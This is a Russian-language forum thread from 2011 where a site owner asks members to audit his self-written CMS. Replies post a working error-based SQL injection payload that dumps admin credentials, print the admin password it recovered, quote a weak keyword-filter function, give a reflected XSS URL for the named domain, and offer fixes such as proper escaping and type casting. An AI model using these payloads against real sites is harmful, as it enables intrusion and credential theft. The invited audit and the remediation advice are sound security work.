Старый 19.04.2011, 10:54   #1
CrazyPilot
 
Регистрация: 18.04.2011
Сообщений: 7
Репутация: 0
По умолчанию Аудит сайта на самописной системе управления

Добрый день! Прошу проверить безопасность сайта, сделан на самописном двжике.

До этого сайт выкладывался и был взломан, но тему закрыли из-за нарушения нектороых правил (не было ссылки на этот форум).

Некоторые дыры залатал и выложил на тестовом домене cph.su . Теперь ссылка на ваш форум есть - ломайте на здоровье Заранее спасибо за помощь.
CrazyPilot вне форума   Ответить с цитированием
Старый 19.04.2011, 16:09   #2
it's my
 
Регистрация: 06.07.2010
Сообщений: 39
Репутация: 11
По умолчанию

Код:
POST: manufacturer=(0)or(select(count(*))from(pers_catalog_items)group/*test*/by(concat((select(concat_ws(0x3a,login,password))from(pers_admins)),0x00,floor(rand(0)*2))))
пасс админа: asdklfju78o4ij

хахаха, так дела не делаются ))
PHP код:
public static function StopInjections(){
            
$get_ar array_values($_GET);
            
$c_a_g count($get_ar);
            for (
$i 0;$i $c_a_g;$i++){
                if(
eregi('union(.*)select',$get_ar[$i]))
                    
self::Err404();
                if(
eregi('order(.*)by',$get_ar[$i]))
                    
self::Err404();
            }
            
            
$post_ar array_values($_POST);
            
$c_a_p count($post_ar);
            for (
$i 0;$i $c_a_p;$i++){
                if(
eregi('union(.*)select',$post_ar[$i]))
                    
self::Err404();
                if(
eregi('order(.*)by',$post_ar[$i]))
                    
self::Err404();
            }
        } 
it's my вне форума   Ответить с цитированием
Старый 19.04.2011, 16:30   #3
it's my
 
Регистрация: 06.07.2010
Сообщений: 39
Репутация: 11
По умолчанию

Ах да, и в админке есть кнопка "Залить шелл", находится она в загрузке документов, я бы ограничил загрузку файлов с ненужным тебе расширением


и еще xss
http://cph.su/index.php?module=%3Cscript%3Ealert()%3C/script%3E

/* тут был кусок кода, и мне показалось что там бага, но дальше по функциям это поправляется, тупанул ) */

ну и на последок, в админке что не переменная то скуля
и думаю там еще много баг, код правда в некоторых местах странный, и коменты местами жгут )))
it's my вне форума   Ответить с цитированием
Старый 19.04.2011, 17:25   #4
CrazyPilot
 
Регистрация: 18.04.2011
Сообщений: 7
Репутация: 0
По умолчанию

По поводу инъекций, для фронтэнда достаточно было бы все переменные в sql-запросе заключить в апострофы + addslashes?
Вот как раз у manufacturer не было апострофов
Идея с регулярками совсем безнадежна? Нужно ведь что-то, чтобы подстраховаться от забытых кавычек.
CrazyPilot вне форума   Ответить с цитированием
Старый 19.04.2011, 17:34   #5
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

Цитата:
Сообщение от CrazyPilot Посмотреть сообщение
По поводу инъекций, для фронтэнда достаточно было бы все переменные в sql-запросе заключить в апострофы + addslashes?
не надо в тупую жарить аддслешес на всё, нормально проверяй переменные, инты - (int) или intval. стринги - mysql_real_escape_string((string)$var)

Цитата:
Сообщение от CrazyPilot Посмотреть сообщение
Идея с регулярками совсем безнадежна? Нужно ведь что-то, чтобы подстраховаться от забытых кавычек.
Может и не безнадежна, но совершенно глупая

Цитата:
Сообщение от Jokester Посмотреть сообщение
А по простому - не суй её в условия, для проверки.
+ в запросе оператор лимит всегда берем по модулю =)

Последний раз редактировалось nobody; 19.04.2011 в 18:21..
nobody вне форума   Ответить с цитированием
Старый 19.04.2011, 17:59   #6
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию

CrazyPilot
Регулярки это зло однозначно. Если не знаешь все тонкости, даже не пытайся. Обработака переменных по типу, как написал nobody.
addslashes и строковые в кавычках спасут от скулей, если нет мультибайтовых кодировок:
http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/

Твои с eregi это вообще ниочём, они срубятся %00 даже если будут грамотно всё фильтровать.
+ в новых версиях пыха их вообще поубирали, будешь переписывать движок потом?

PS Кстати intval тоже имеет свои "тонкости" . Юзать только с полным осознанием логики работы
А по простому - не суй её в условия, для проверки.
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 19.04.2011, 18:13   #7
CrazyPilot
 
Регистрация: 18.04.2011
Сообщений: 7
Репутация: 0
По умолчанию

Спасибо большое! Сейчас буду исправлять.
Еще вопрос: перед mysql_real_escape_string критично приводить переменную к строковому типу?
Когда mysql_real_escape_string($var) пропустит скуль (что нужно в $var передать)?
CrazyPilot вне форума   Ответить с цитированием
Старый 19.04.2011, 18:26   #8
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию

http://www.php.ru/manual/function.mktime/function.mysql-real-escape-string.html

внизу есть пример работы
function quote_smart
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 19.04.2011, 18:37   #9
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

ну почти правильная функция =)
is_numeric пропускает и строки в хексе (0xc0d3 например), а функция при таком раскладе в кавычки не берет - не гуд
а приводить к стрингу всёравно надо, т.к. mysql_real_escape_string плюется ворнингами если передать в него массив или объект (?var[]=)
nobody вне форума   Ответить с цитированием
Старый 19.04.2011, 18:46   #10
CrazyPilot
 
Регистрация: 18.04.2011
Сообщений: 7
Репутация: 0
По умолчанию

То есть, правильнее будет использовать quote_smart() для строк, и простой intval() для интов?
Хотя можно просто убрать проверку на is_numeric() - все переменные заключать в кавычки - для интов это тоже не криминал.
CrazyPilot вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot